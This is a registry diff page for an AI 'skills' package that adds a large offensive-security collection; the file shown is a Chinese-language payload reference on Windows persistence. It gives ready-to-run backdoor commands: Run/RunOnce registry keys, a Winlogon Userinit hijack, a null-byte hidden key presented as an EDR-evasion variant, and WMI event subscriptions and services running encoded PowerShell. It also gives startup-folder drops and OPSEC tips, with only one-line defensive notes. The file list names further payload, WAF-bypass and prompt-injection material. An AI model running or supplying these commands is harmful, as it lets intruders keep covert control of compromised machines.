opencode-skills-collection 4.0.43 → 4.0.45
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,577 @@
|
|
|
1
|
+
# 权限维持
|
|
2
|
+
|
|
3
|
+
_12 条 intranet payload_
|
|
4
|
+
|
|
5
|
+
### 注册表持久化 `persistence-registry`
|
|
6
|
+
_通过注册表实现权限维持_
|
|
7
|
+
子类:**注册表** · tags: `persistence` `registry` `windows` `autorun`
|
|
8
|
+
|
|
9
|
+
**前置条件:**
|
|
10
|
+
- 已获得目标机器权限
|
|
11
|
+
- 管理员权限
|
|
12
|
+
- Windows系统
|
|
13
|
+
|
|
14
|
+
**攻击链:**
|
|
15
|
+
|
|
16
|
+
**Run键持久化**
|
|
17
|
+
> 添加Run键实现开机自启
|
|
18
|
+
_platform: windows_
|
|
19
|
+
```
|
|
20
|
+
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\Public\backdoor.exe" /f
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
**RunOnce键**
|
|
24
|
+
> RunOnce键,执行一次后删除
|
|
25
|
+
_platform: windows_
|
|
26
|
+
```
|
|
27
|
+
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
**Winlogon Helper**
|
|
31
|
+
> 修改Userinit实现持久化
|
|
32
|
+
_platform: windows_
|
|
33
|
+
```
|
|
34
|
+
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\backdoor.exe" /f
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
**服务持久化**
|
|
38
|
+
> 创建服务实现持久化
|
|
39
|
+
_platform: windows_
|
|
40
|
+
```
|
|
41
|
+
sc create Backdoor binPath= "C:\backdoor.exe" start= auto
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
**EDR 绕过变体:**
|
|
45
|
+
|
|
46
|
+
**隐藏注册表键**
|
|
47
|
+
> 使用空字节隐藏注册表键
|
|
48
|
+
```
|
|
49
|
+
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\x00" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
**分析:** 注册表持久化会在系统启动或用户登录时执行恶意程序。
|
|
54
|
+
|
|
55
|
+
**OPSEC 提示:**
|
|
56
|
+
- Run键是最常见的持久化方式,容易被检测
|
|
57
|
+
- 考虑使用更隐蔽的方式
|
|
58
|
+
- 定期检查注册表异常项
|
|
59
|
+
|
|
60
|
+
**概述:** Windows注册表提供了多种持久化机制,攻击者可以在系统启动或用户登录时自动执行恶意代码。
|
|
61
|
+
|
|
62
|
+
**漏洞原理:** Windows注册表中的多个键值可以在特定时机自动执行程序,这是系统设计功能,但可被攻击者滥用。
|
|
63
|
+
|
|
64
|
+
**利用方法:** 利用流程:1) 获取管理员权限;2) 选择持久化位置;3) 添加恶意程序路径;4) 等待系统重启或用户登录;5) 恶意程序自动执行。
|
|
65
|
+
|
|
66
|
+
**防御措施:** 防御措施:1) 监控注册表关键键值变化;2) 使用白名单限制程序执行;3) 定期审计持久化项;4) 部署EDR检测异常行为。
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
### WMI持久化 `persistence-wmi`
|
|
71
|
+
_通过WMI事件订阅实现持久化_
|
|
72
|
+
子类:**WMI** · tags: `wmi` `persistence` `windows`
|
|
73
|
+
|
|
74
|
+
**前置条件:**
|
|
75
|
+
- 管理员权限
|
|
76
|
+
|
|
77
|
+
**攻击链:**
|
|
78
|
+
|
|
79
|
+
**创建事件过滤器**
|
|
80
|
+
> 创建WMI事件过滤器
|
|
81
|
+
_platform: windows_
|
|
82
|
+
```
|
|
83
|
+
$filter = New-WmiEventFilter -Name "evil" -Query "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
**创建事件消费者**
|
|
87
|
+
> 创建命令行消费者
|
|
88
|
+
_platform: windows_
|
|
89
|
+
```
|
|
90
|
+
$consumer = New-WmiEventConsumer -Name "evil" -CommandLineTemplate "powershell -e BASE64_CMD"
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
**绑定过滤器和消费者**
|
|
94
|
+
> 绑定触发执行
|
|
95
|
+
_platform: windows_
|
|
96
|
+
```
|
|
97
|
+
New-WmiFilterToConsumerBinding -Filter $filter -Consumer $consumer
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
|
|
101
|
+
**概述:** WMI事件订阅可以实现隐蔽的持久化。
|
|
102
|
+
|
|
103
|
+
**漏洞原理:** WMI允许创建自动执行的事件。
|
|
104
|
+
|
|
105
|
+
**利用方法:** 利用流程:1) 创建过滤器 2) 创建消费者 3) 绑定执行
|
|
106
|
+
|
|
107
|
+
**防御措施:** 防御措施:1) 监控WMI事件 2) 审计WMI仓库
|
|
108
|
+
|
|
109
|
+
---
|
|
110
|
+
|
|
111
|
+
### 启动文件夹持久化 `persistence-startup`
|
|
112
|
+
_通过启动文件夹实现持久化_
|
|
113
|
+
子类:**启动文件夹** · tags: `startup` `persistence` `windows`
|
|
114
|
+
|
|
115
|
+
**前置条件:**
|
|
116
|
+
- 写入权限
|
|
117
|
+
|
|
118
|
+
**攻击链:**
|
|
119
|
+
|
|
120
|
+
**当前用户启动文件夹**
|
|
121
|
+
> 当前用户启动
|
|
122
|
+
_platform: windows_
|
|
123
|
+
```
|
|
124
|
+
copy evil.lnk "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
**所有用户启动文件夹**
|
|
128
|
+
> 所有用户启动
|
|
129
|
+
_platform: windows_
|
|
130
|
+
```
|
|
131
|
+
copy evil.lnk "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
|
|
135
|
+
**概述:** 启动文件夹的程序会在用户登录时执行。
|
|
136
|
+
|
|
137
|
+
**漏洞原理:** 启动文件夹可写。
|
|
138
|
+
|
|
139
|
+
**利用方法:** 利用流程:1) 找到启动文件夹 2) 放置恶意文件 3) 等待用户登录
|
|
140
|
+
|
|
141
|
+
**防御措施:** 防御措施:1) 监控启动文件夹 2) 限制写入权限
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
### 服务持久化 `persistence-service`
|
|
146
|
+
_通过创建服务实现持久化_
|
|
147
|
+
子类:**服务** · tags: `service` `persistence` `windows`
|
|
148
|
+
|
|
149
|
+
**前置条件:**
|
|
150
|
+
- 管理员权限
|
|
151
|
+
|
|
152
|
+
**攻击链:**
|
|
153
|
+
|
|
154
|
+
**创建服务**
|
|
155
|
+
> 创建自启动服务
|
|
156
|
+
_platform: windows_
|
|
157
|
+
```
|
|
158
|
+
sc create evilsvc binPath= "cmd /c powershell -e BASE64_CMD" start= auto
|
|
159
|
+
```
|
|
160
|
+
**语法解析:**
|
|
161
|
+
- `sc create` — 创建服务命令 _command_
|
|
162
|
+
- `binPath=` — 服务执行路径 _parameter_
|
|
163
|
+
- `start= auto` — 自动启动 _parameter_
|
|
164
|
+
|
|
165
|
+
**启动服务**
|
|
166
|
+
> 启动服务
|
|
167
|
+
_platform: windows_
|
|
168
|
+
```
|
|
169
|
+
sc start evilsvc
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
|
|
173
|
+
**概述:** 服务可以在系统启动时自动执行。
|
|
174
|
+
|
|
175
|
+
**漏洞原理:** 服务可以配置执行任意命令。
|
|
176
|
+
|
|
177
|
+
**利用方法:** 利用流程:1) 创建服务 2) 配置自动启动 3) 重启触发
|
|
178
|
+
|
|
179
|
+
**防御措施:** 防御措施:1) 监控服务创建 2) 审计服务配置
|
|
180
|
+
|
|
181
|
+
---
|
|
182
|
+
